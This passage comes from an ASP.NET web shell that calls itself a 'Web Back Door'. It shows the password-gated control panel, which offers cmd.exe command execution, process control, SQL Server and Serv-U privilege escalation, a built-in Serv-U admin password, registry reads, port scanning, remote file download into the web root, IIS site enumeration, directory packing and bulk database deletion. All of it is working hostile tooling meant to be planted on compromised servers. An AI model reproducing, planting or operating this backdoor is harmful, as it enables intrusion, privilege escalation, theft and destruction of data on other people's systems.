{
if (TreeView4.SelectedNode.Text == "系统信息")
{
%>
<hr />
<table style="width: 631px; font-size: 12px;">
<tr>
<td colspan="3" rowspan="3" style="height: 21px" align="left">
<%=jsjname + "<br><br>" + "本机IP: " + Request.ServerVariables["LOCAL_ADDR"] + "<br><br>" + getvs + "<br><br>" + getusername + "<br><br>" + getwdir + "<br><br>" + systime + "<br><br>" + "本文件路径: " + Server.MapPath(Request.ServerVariables["PATH_INFO"]) + "<br><br>" + getosname + "<br><br>" %>
</td>
</tr>
<tr>
</tr>
<tr>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue != "")
{
if (TreeView4.SelectedNode.Text == "Cmd执行")
{
%>
<hr />
<table style="width: 631px; font-size: 12px;">
<tr>
<td colspan="3" style="height: 32px">
执行CmdShell</td>
</tr>
<tr>
<td style="width: 114px; height: 29px;">
CMD:</td>
<td colspan="2" style="height: 29px" align="left">
<asp:TextBox ID="cmdurl" runat="server" Width="320px" Font-Size="12px">cmd.exe</asp:TextBox></td>
</tr>
<tr>
<td style="width: 114px; height: 29px;">
命令:</td>
<td colspan="2" align="left">
<asp:TextBox ID="cmd" runat="server" Width="320px" Font-Size="12px">Set</asp:TextBox></td>
</tr>
<tr>
<td style="width: 114px; height: 158px">
回显:</td>
<td colspan="2" style="height: 158px" align="left">
<asp:TextBox ID="cmdshow" runat="server" TextMode="MultiLine" Width="472px" Height="140px" Font-Size="12px"></asp:TextBox></td>
</tr>
<tr>
<td style="width: 114px; height: 25px">
</td>
<td colspan="2" style="height: 25px" align="center">
<asp:Button ID="cmdbtn" runat="server" Font-Size="12px" Text=" 执 行 " OnClick="cmdbtn_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue != "")
{
if (TreeView4.SelectedNode.Text == "进程管理")
{
%>
<hr />
<table style="font-size: 12px; width: 631px">
<tr>
<td style="width: 155px" align="center">
新进程:</td>
<td colspan="2" align="left">
<asp:TextBox ID="newjc" runat="server" Width="193px" Font-Size="12px"></asp:TextBox>&nbsp;
<asp:Button ID="qidong" runat="server" Font-Size="12px" Text=" 启 动 " OnClick="qidong_Click" /></td>
</tr>
<tr>
<td style="width: 155px; height: 153px;">
进程管理:</td>
<td colspan="2" style="height: 153px" align="left">
<asp:ListBox ID="ListBox1" runat="server" Height="140px" Width="462px" Font-Size="12px"></asp:ListBox></td>
</tr>
<tr>
<td style="width: 155px; height: 21px">
</td>
<td colspan="2" style="height: 21px" align="center">
<asp:Button ID="kp" runat="server" Text="结束进程" Font-Size="12px" OnClick="kp_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue != "")
{
if (TreeView4.SelectedNode.Text == "SQL提权(SA)")
{
%>
<hr />
<table style="width: 795px; font-size: 12px;">
<tr>
<td align="center" colspan="3" style="height: 31px">
<table>
<tr>
<td style="width: 200px">
帐户:&nbsp;</td>
<td style="width: 100px">
<asp:TextBox ID="sqlname" runat="server" Width="160px"></asp:TextBox></td>
<td style="width: 100px">
&nbsp;&nbsp; 口令:</td>
<td style="width: 100px">
<asp:TextBox ID="sqlpass" runat="server" Width="160px"></asp:TextBox></td>
<td style="width: 100px">
&nbsp;&nbsp; 端口:</td>
<td style="width: 100px">
<asp:TextBox ID="sqlport" runat="server" Width="160px">1433</asp:TextBox></td>
</tr>
</table>
</td>
</tr>
<tr>
<td style="width: 172px; height: 35px;">
选择:</td>
<td colspan="2" align="left" style="height: 36px">
<asp:DropDownList ID="DropDownList1" runat="server" Font-Size="12px" Width="337px">
</asp:DropDownList></td>
</tr>
<tr>
<td style="width: 172px; height: 35px;">
命令:</td>
<td colspan="2" align="left" style="height: 35px; color: #ff0000;">
<asp:TextBox ID="shellcmd" runat="server" Width="382px"></asp:TextBox>
&nbsp;&nbsp;&nbsp; ( SA映像劫持不需要输入任何命令)</td>
</tr>
<tr>
<td style="width: 172px; height: 157px;">
回显:</td>
<td colspan="2" style="height: 157px" align="left">
<asp:TextBox ID="sqlshow" runat="server" Height="140px" TextMode="MultiLine" Width="552px"></asp:TextBox></td>
</tr>
<tr>
<td style="width: 172px; height: 30px;">
</td>
<td colspan="2" style="height: 30px">
<asp:Button ID="sqlbtn" runat="server" Font-Size="12px" Text=" 执 行 " OnClick="sqlbtn_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue !="")
{
if (TreeView4.SelectedNode.Text == "SQL提权(dbowner or public)")
{
%>
<hr />
<table style="width: 795px; font-size: 12px;">
<tr>
<td align="center" colspan="3">
<table style="width: 759px">
<tr>
<td style="width: 162px; height: 26px;">
帐户:&nbsp;</td>
<td style="width: 100px; height: 26px;">
<asp:TextBox ID="dbname" runat="server" Width="100px"></asp:TextBox></td>
<td style="width: 100px; height: 26px;">
口令:&nbsp;</td>
<td style="width: 100px; height: 26px;">
<asp:TextBox ID="dbpass" runat="server" Width="100px"></asp:TextBox></td>
<td style="width: 100px; height: 26px;">
端口:&nbsp;</td>
<td style="width: 100px; height: 26px;">
<asp:TextBox ID="dbport" runat="server" Width="100px">1433</asp:TextBox></td>
</tr>
</table>
</td>
</tr>
<tr>
<td style="width: 194px; height: 35px;">
命令:</td>
<td colspan="2" align="left" style="height: 35px">
<asp:TextBox ID="dbcmd" runat="server" Width="382px"></asp:TextBox></td>
</tr>
<tr>
<td style="width: 194px; height: 157px;">
回显:</td>
<td colspan="2" style="height: 157px">
<asp:TextBox ID="dbshow" runat="server" Height="140px" TextMode="MultiLine" Width="585px"></asp:TextBox></td>
</tr>
<tr>
<td style="width: 194px; height: 26px;">
</td>
<td colspan="2" style="height: 26px">
<asp:Button ID="dbbtn" runat="server" Font-Size="12px" Text=" 执 行 " OnClick="dbbtn_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue !="")
{
if (TreeView4.SelectedNode.Text == "注册表读取")
{
%>
<hr />
<table style="width: 631px; font-size: 12px;">
<tr>
<td style="width: 174px; height: 26px;">
读取注册表:</td>
<td style="width: 286px; height: 26px;">
<asp:TextBox ID="regtext" runat="server" Width="374px" Font-Size="12px">HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber</asp:TextBox></td>
<td style="width: 100px; height: 26px;">
<asp:Button ID="readreg" runat="server" Font-Size="12px" OnClick="readreg_Click"
Text=" 读 取 " /></td>
</tr>
<tr>
<td style="width: 174px; height: 22px;">
</td>
<td style="width: 286px; height: 22px; font-size: 12px; color: #ff0000;">
<%=oregstr %>
</td>
<td style="width: 100px; height: 22px;">
</td>
</tr>
<tr>
<td style="width: 174px; height: 27px">
</td>
<td style="width: 286px; height: 27px">
</td>
<td style="width: 100px; height: 27px">
</td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue !="")
{
if (TreeView4.SelectedNode.Text == "端口扫描")
{
%>
<hr />
<table style="width: 631px; font-size: 12px;">
<tr>
<td style="font-size: 12px; width: 172px; height: 26px">
</td>
<td colspan="2" style="height: 26px">
扫 描 端 口</td>
</tr>
<tr>
<td style="width: 172px; height: 36px;">
端口设置:</td>
<td colspan="2" style="height: 36px">
<asp:TextBox ID="scanport" runat="server" Width="416px">21,25,80,135,139,443,445,1025,1433,3389,4899,5631,5900,43958</asp:TextBox></td>
</tr>
<tr>
<td style="width: 172px; height: 147px;">
扫描结果:</td>
<td colspan="2" style="height: 147px">
<asp:ListBox ID="ListBox2" runat="server" Height="133px" Width="420px"></asp:ListBox></td>
</tr>
<tr>
<td style="width: 172px; height: 21px;">
</td>
<td colspan="2" style="height: 21px">
<asp:Button ID="scan" runat="server" Font-Size="12px" Text=" 扫 描 " OnClick="scan_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue != "")
{
if (TreeView4.SelectedNode.Text == "远程下载")
{
remoteurl.Text = "http://hi.baidu.com/ahhacker86";
localurl.Text = Server.MapPath(".") + @"\jk.asp";
%>
<hr />
<table style="font-size: 12px; width: 631px; text-align: center;">
<tr>
<td style="width: 163px; height: 32px;">
远程文件:</td>
<td style="width: 100px">
<asp:TextBox ID="remoteurl" runat="server" Width="313px" Font-Size="12px"></asp:TextBox></td>
<td style="width: 100px">
</td>
</tr>
<tr>
<td style="width: 163px; height: 32px">
保存地址:</td>
<td style="width: 100px; height: 32px">
<asp:TextBox ID="localurl" runat="server" Width="312px" Font-Size="12px"></asp:TextBox></td>
<td style="width: 100px; height: 32px">
</td>
</tr>
</table>
<table style="width: 631px">
<tr>
<td style="width: 136px">
</td>
<td style="width: 169px">
<asp:Button ID="filebtn" runat="server" Font-Size="12px" OnClick="filebtn_Click"
Text=" 保 存 " /></td>
<td style="width: 100px">
</td>
</tr>
</table>
<%
}
}
if (TreeView5.SelectedValue != "")
{
if (TreeView5.SelectedNode.Text == "SQL Server")
{
%>
<hr />
<table style="font-size: 12px; width: 631px">
<tr>
<td style="width: 100px; height: 26px;">
sql帐户:</td>
<td style="width: 100px; height: 26px;">
<asp:TextBox ID="kusqlname" runat="server" Width="74px"></asp:TextBox></td>
<td style="width: 100px; height: 26px;">
sql密码:</td>
<td style="width: 100px; height: 26px;">
<asp:TextBox ID="kusqlpass" runat="server" Width="84px"></asp:TextBox></td>
<td style="width: 100px; height: 26px;">
端口:</td>
<td style="width: 100px; height: 26px;">
<asp:TextBox ID="kusqlport" runat="server" Width="82px">1433</asp:TextBox></td>
</tr>
</table>
<table>
<tr>
<td style="width: 305px; height: 24px;">
</td>
<td style="width: 153px; height: 24px;">
<asp:Button ID="kubtn" runat="server" Font-Size="12px" OnClick="kubtn_Click" Text=" 连 接 " /></td>
<td style="width: 228px; height: 24px;">
</td>
</tr>
</table>
<hr />
<table style="font-size: 12px; width: 816px">
<tr>
<td style="width: 67px; height: 138px">
SQL数据库:</td>
<td style="width: 10px; height: 138px" align="left">
<asp:ListBox ID="ListBox3" runat="server" Width="312px" Height="126px" Font-Size="12px"></asp:ListBox></td>
<td style="width: 93px; height: 138px" align="center">
<asp:Button ID="kutable" runat="server" OnClick="kutable_Click" Text="查表-->" Font-Size="12px" /></td>
<td style="width: 11px; height: 138px">
<asp:ListBox ID="ListBox4" runat="server" Width="312px" Height="129px" Font-Size="12px"></asp:ListBox></td>
</tr>
</table>
<hr />
<table style="width: 887px; font-size: 12px; text-align: center;">
<tr>
<td style="width: 100px; font-size: 12px; text-align: center;" align="left">
<table style="width: 699px; margin-left:100px;">
<tr>
<td style="width: 100px; height: 7px">
<asp:Button ID="databtn" runat="server" Text="显示指定表数据" OnClick="databtn_Click" Font-Size="12px" /></td>
<td style="width: 100px; height: 7px">
<asp:Button ID="Button4" runat="server" Font-Size="12px" Text="批量删除用户表" OnClick="Button4_Click" /></td>
<td style="width: 114px; height: 7px">
<asp:Button ID="delzdb" runat="server" Font-Size="12px" Text="删除指定用户表" OnClick="delzdb_Click" /></td>
<td style="width: 100px; height: 7px">
<asp:Button ID="delku" runat="server" Font-Size="12px" Text="批量删除用户库" OnClick="delku_Click" /></td>
<td style="width: 100px; height: 7px">
<asp:Button ID="delzdk" runat="server" Font-Size="12px" Text="删除指定用户库" OnClick="delzdk_Click" /></td>
</tr>
</table>
</td>
</tr>
</table>
<hr />
<table style="font-size: 12px; width: 888px">
<tr>
<td style="width: 95px; height: 56px">
&nbsp;
<table style="width: 370px">
<tr>
<td style="width: 100px; height: 25px">
<asp:TextBox ID="datastr" runat="server" Width="267px" Font-Size="12px">DELETE FROM [TableName] WHERE ID=100</asp:TextBox></td>
<td style="width: 100px; height: 25px">
<asp:Button ID="dropdata" runat="server" Font-Size="12px" OnClick="dropdata_Click"
Text="删除数据" /></td>
</tr>
</table>
</td>
<td style="width: 100px; height: 56px">
&nbsp;
<table>
<tr>
<td style="width: 91px; height: 19px">
<asp:TextBox ID="dataupdate" runat="server" Width="258px" Font-Size="12px">UPDATE [TableName] SET USER='username' WHERE ID=100</asp:TextBox></td>
<td style="width: 100px; height: 19px">
<asp:Button ID="updatebtn" runat="server" Font-Size="12px" OnClick="updatebtn_Click"
Text="更新数据" /></td>
</tr>
</table>
</td>
</tr>
<tr>
<td style="width: 95px; height: 50px;">
&nbsp;<table>
<tr>
<td style="width: 106px">
<asp:TextBox ID="dataadd" runat="server" Font-Size="12px" Width="272px">INSERT INTO [TableName](USER,PASS) VALUES('username','password')</asp:TextBox></td>
<td style="width: 100px">
<asp:Button ID="addbtn" runat="server" Font-Size="12px" OnClick="addbtn_Click" Text="添加数据" /></td>
</tr>
</table>
&nbsp;
</td>
<td style="width: 100px; height: 50px;">
&nbsp;
<table>
<tr>
<td style="width: 100px">
<asp:TextBox ID="addbiao" runat="server" Font-Size="12px" Width="258px">CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))</asp:TextBox></td>
<td style="width: 100px">
<asp:Button ID="ctbtn" runat="server" Font-Size="12px" Text="建立新表" OnClick="ctbtn_Click" /></td>
</tr>
</table>
</td>
</tr>
</table>
<hr />
<table style="width: 888px; font-size: 12px; text-align: left;">
<tr>
<td align="left" colspan="2" style="text-align: center; height: 170px;" rowspan="2">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<asp:GridView ID="GridView1" runat="server" CellPadding="4" ForeColor="#333333" GridLines="None" Width="498px">
<FooterStyle BackColor="#990000" Font-Bold="True" ForeColor="White" />
<RowStyle BackColor="#FFFBD6" ForeColor="#333333" />
<SelectedRowStyle BackColor="#FFCC66" Font-Bold="True" ForeColor="Navy" />
<PagerStyle BackColor="#FFCC66" ForeColor="#333333" HorizontalAlign="Center" />
<HeaderStyle BackColor="#990000" Font-Bold="True" ForeColor="White" />
<AlternatingRowStyle BackColor="White" />
</asp:GridView>
&nbsp;
</td>
</tr>
<tr>
</tr>
</table>
<%
}
}
if (TreeView5.SelectedValue !="")
{
if (TreeView5.SelectedNode.Text =="Access")
{
%>
<table style="font-size: 12px; width: 631px">
<tr>
<td style="width: 111px; height: 27px;">
Access数据库:</td>
<td style="width: 100px; height: 27px;">
<asp:TextBox ID="accstr" runat="server" Font-Size="12px" Width="393px">Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\ASP\zf34\zf34\Database\zf11.mdb;Jet OLEDB:Database Password=***</asp:TextBox></td>
<td style="width: 100px; height: 27px;">
<asp:Button ID="accconn" runat="server" Font-Size="12px" Text=" 连 接 " OnClick="accconn_Click" /></td>
</tr>
<tr>
<td colspan="3" rowspan="2" style="height: 32px" align="center">
<asp:Button ID="acczdb" runat="server" Font-Size="12px" Text="删除指定表" OnClick="acczdb_Click" />
<asp:Button ID="accpl" runat="server" Font-Size="12px" Text="批量删除表" OnClick="accpl_Click" /></td>
</tr>
<tr>
</tr>
</table>
<hr />
<table style="font-size: 12px; width: 631px">
<tr>
<td style="width: 87px; height: 94px">
显示所有表:</td>
<td style="width: 100px; height: 94px">
<asp:ListBox ID="ListBox5" runat="server" Width="379px" Height="89px" DataTextField="table_name" AutoPostBack="True" OnSelectedIndexChanged="ListBox5_SelectedIndexChanged"></asp:ListBox></td>
</tr>
</table>
<hr />
<table style="font-size: 12px; width: 888px">
<tr>
<td style="width: 213px">
<asp:TextBox ID="addtxt" runat="server" Font-Size="12px" Width="211px">INSERT INTO [TableName](USER,PASS) VALUES('username','password')</asp:TextBox></td>
<td style="width: 100px">
<asp:Button ID="accadd" runat="server" Font-Size="12px" Text="添加数据" OnClick="accadd_Click" /></td>
<td style="width: 100px">
<asp:TextBox ID="updatetxt" runat="server" Font-Size="12px" Width="211px">UPDATE [TableName] SET USER='username' WHERE ID=100</asp:TextBox></td>
<td style="width: 100px">
<asp:Button ID="accupdate" runat="server" Font-Size="12px" Text="更新数据" OnClick="accupdate_Click" /></td>
<td style="width: 100px">
<asp:TextBox ID="deltxt" runat="server" Font-Size="12px" Width="211px">DELETE FROM [TableName] WHERE ID=100</asp:TextBox></td>
<td style="width: 100px">
<asp:Button ID="accdel" runat="server" Font-Size="12px" Text=" 删 除 " OnClick="accdel_Click" /></td>
</tr>
</table>
<hr />
<table style="font-size: 12px; width: 888px">
<tr>
<td style="width: 888px; height: 38px">
&nbsp;<asp:GridView ID="GridView2" runat="server" CellPadding="4" ForeColor="#333333" GridLines="None" Width="863px" style="font-size: 12px" >
<FooterStyle BackColor="#507CD1" Font-Bold="True" ForeColor="White" />
<RowStyle BackColor="#EFF3FB" />
<EditRowStyle BackColor="#2461BF" />
<SelectedRowStyle BackColor="#D1DDF1" Font-Bold="True" ForeColor="#333333" />
<PagerStyle BackColor="#2461BF" ForeColor="White" HorizontalAlign="Center" />
<HeaderStyle BackColor="#507CD1" Font-Bold="True" ForeColor="White" />
<AlternatingRowStyle BackColor="White" />
</asp:GridView>
</td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue != "")
{
if (TreeView4.SelectedNode.Text == "SU提权")
{
%>
<hr />
<table style="font-size: 12px; width: 631px">
<tr>
<td colspan="2" style="height: 34px" align="center">
Sev-U 提 权</td>
</tr>
<tr>
<td align="center" colspan="2" style="height: 25px">
SU帐户:&nbsp; &nbsp;<asp:TextBox ID="jksuname" runat="server" Font-Size="12px" Width="240px">LocalAdministrator</asp:TextBox></td>
</tr>
<tr>
<td align="center" colspan="2" style="height: 17px">
SU密码: &nbsp;
<asp:TextBox ID="jksupass" runat="server" Font-Size="12px" Width="240px">#l@$ak#.lk;0@P</asp:TextBox></td>
</tr>
<tr>
<td align="center" colspan="2">
SU端口:&nbsp; &nbsp;<asp:TextBox ID="jksuport" runat="server" Font-Size="12px" Width="240px">43958</asp:TextBox></td>
</tr>
<tr>
<td align="center" colspan="2" style="height: 24px">
系统命令: &nbsp;<asp:TextBox ID="jksucmd" runat="server" Font-Size="12px" Width="240px"></asp:TextBox></td>
</tr>
<tr>
<td colspan="2" style="height: 34px" align="center">
<asp:Button ID="jksubtn" runat="server" Font-Size="12px" Text=" 执 行 " OnClick="jksubtn_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView5.SelectedValue != "")
{
if (TreeView5.SelectedNode.Text == "文件打包")
{
%>
<hr />
<table style="font-size: 12px; width: 321px">
<tr>
<td style="width: 147px; height: 30px;" align="center">
打包目录:</td>
<td style="width: 107px; height: 30px;" align="left">
<asp:TextBox ID="daboml" runat="server" Style="font-size: 12px" Width="190px"></asp:TextBox></td>
</tr>
<tr>
<td style="width: 147px; height: 30px" align="center">
生成地址:</td>
<td style="width: 107px; height: 30px" align="left">
<asp:TextBox ID="dabaodz" runat="server" Style="font-size: 12px" Width="190px"></asp:TextBox></td>
</tr>
<tr>
<td style="width: 147px; height: 30px" align="center">
</td>
<td style="height: 30px" colspan="2">
<asp:Button ID="dabaobtn" runat="server" Style="font-size: 12px" Text=" 打 包 " OnClick="dabaobtn_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView5.SelectedValue !="")
{
if (TreeView5.SelectedNode.Text == "About")
{
%>
<hr />
<table style="width: 666px; height: 215px">
<tr>
<td style="width: 100px; height: 296px;"><img src ="http://www.ahiec.net/ewebeditor/uploadfile/2009410054896125.gif" alt="jk1986" style="width: 666px; height: 215px" />
</td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue != "")
{
if (TreeView4.SelectedNode.Text == "遍历IIS")
{
string iisstr = "IIS://localhost/W3SVC";
DirectoryEntry jkde = new DirectoryEntry(iisstr);
Response.Write(" <hr />");
Response.Write("<table style='width: 600px; font-size: 12px; text-align: center;'>");
Response.Write("<tr>");
Response.Write("<td style='width: 295px; height: 29px;' align='center'>");
Response.Write("IIS帐户</td>");
Response.Write("<td style='width: 204px; height: 29px;' align='center'>");
Response.Write(" 域</td>");
Response.Write("<td style='width: 181px; height: 29px;' align='center'>");
Response.Write(" 路径:</td>");
Response.Write("</tr>");
foreach (DirectoryEntry destr in jkde.Children)
{
if (chknumber(destr.Name.ToString()))
{
string destrname = destr.Name.ToString();
DirectoryEntry dirstr = new DirectoryEntry(iisstr + "/" + destrname);
DirectoryEntry dirstr1 = dirstr.Children.Find("root", "IIsWebVirtualDir");
iisusername = dirstr1.Properties["AnonymousUserName"].Value.ToString();
iisdk = destr.Properties["ServerBindings"][0].ToString();
iiswebpath = dirstr1.Properties["path"].Value.ToString();
Response.Write("<tr>");
Response.Write ("<td style='width: 295px; height: 27px; font-size: 12px;' align='center'>");
Response.Write(iisusername);
Response.Write("</td>");
Response.Write("<td style='width: 204px; height: 27px;' align='center'>");
Response.Write(iisdk);
Response.Write("<td style='width: 181px; height: 27px;' align='center'>");
Response.Write ("<a href= '?action=showfolder&folder=");
Response.Write(iiswebpath);
Response.Write("'>");
Response.Write(iiswebpath);
Response.Write("</a></td></tr>");
}
}
Response.Write(" </table>");
%>
<%
}
}
%>
<%
}
if (TreeView5.SelectedValue != "")
{
if (TreeView5.SelectedNode.Text == "退出登陆")
{
Session["jksession"] = null;
Session.Abandon();
Response.Write("<script>alert('Thanks Use This BackDoor ^_^ ');location.href='" + getselfurl + "'</" + "script>");
}
}
%>
<%
if (Session ["jksession"] == null )
{
%>
<table style="font-size: 12px; width: 600px">
<tr>
<td colspan="3" style="height: 30px" align="center">
&nbsp; &nbsp; ASP.NET&nbsp; Web Back Door</td>
</tr>
<tr>
<td style="width: 185px; height: 45px" align="center">
OwnerPass:</td>
<td style="width: 129px; height: 45px;" align="center">
<asp:TextBox ID="TextBox1" runat="server" Font-Size="12px" Width="235px" TextMode="Password"></asp:TextBox></td>
<td style="width: 154px; height: 45px;" align="center">
<asp:Button ID="Button5" runat="server" Font-Size="12px" Text="Login" OnClick="Button5_Click" /></td>
</tr>
<tr>
<td colspan="3" style="height: 30px" align="center">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Code &nbsp; By &nbsp; <a href="http://www.jk1986.cn" target ="_blank" >
夢幻★劍客</a> &nbsp;
&nbsp;</td>
</tr>
</table>
<%
}
%>
</form>
</body>
</html>